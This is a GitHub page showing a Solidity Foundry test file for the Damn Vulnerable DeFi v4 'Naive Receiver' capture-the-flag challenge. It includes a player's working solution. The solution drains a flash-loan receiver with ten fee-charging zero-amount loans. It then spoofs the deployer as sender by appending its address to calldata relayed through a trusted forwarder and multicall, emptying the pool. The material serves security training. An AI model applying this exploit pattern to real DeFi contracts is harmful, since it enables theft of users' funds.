forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
NaiveReceiver.t.sol
127 lines (107 loc) · 4.16 KB
/
NaiveReceiver.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {NaiveReceiverPool, Multicall, WETH} from "../../src/naive-receiver/NaiveReceiverPool.sol";
import {FlashLoanReceiver} from "../../src/naive-receiver/FlashLoanReceiver.sol";
import {BasicForwarder} from "../../src/naive-receiver/BasicForwarder.sol";
contract NaiveReceiverChallenge is Test {
address deployer = makeAddr("deployer");
address recovery = makeAddr("recovery");
address player;
uint256 playerPk;
uint256 constant WETH_IN_POOL = 1000e18;
uint256 constant WETH_IN_RECEIVER = 10e18;
NaiveReceiverPool pool;
WETH weth;
FlashLoanReceiver receiver;
BasicForwarder forwarder;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
(player, playerPk) = makeAddrAndKey("player");
startHoax(deployer);
// Deploy WETH
weth = new WETH();
// Deploy forwarder
forwarder = new BasicForwarder();
// Deploy pool and fund with ETH
pool = new NaiveReceiverPool{value: WETH_IN_POOL}(address(forwarder), payable(weth), deployer);
// Deploy flashloan receiver contract and fund it with some initial WETH
receiver = new FlashLoanReceiver(address(pool));
weth.deposit{value: WETH_IN_RECEIVER}();
weth.transfer(address(receiver), WETH_IN_RECEIVER);
vm.stopPrank();
}
function test_assertInitialState() public {
// Check initial balances
assertEq(weth.balanceOf(address(pool)), WETH_IN_POOL);
assertEq(weth.balanceOf(address(receiver)), WETH_IN_RECEIVER);
// Check pool config
assertEq(pool.maxFlashLoan(address(weth)), WETH_IN_POOL);
assertEq(pool.flashFee(address(weth), 0), 1 ether);
assertEq(pool.feeReceiver(), deployer);
// Cannot call receiver
vm.expectRevert(0x48f5c3ed);
receiver.onFlashLoan(
deployer,
address(weth), // token
WETH_IN_RECEIVER, // amount
1 ether, // fee
bytes("") // data
);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callDatas = new bytes[](11);
for(uint i=0; i<10; i++){
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
gasleft(),
forwarder.nonces(player),
callData,
1 days
);
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
forwarder.execute(request, signature);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed two or less transactions
assertLe(vm.getNonce(player), 2);
// The flashloan receiver contract has been emptied
assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
// Pool is empty too
assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
// All funds sent to recovery account
assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
}
}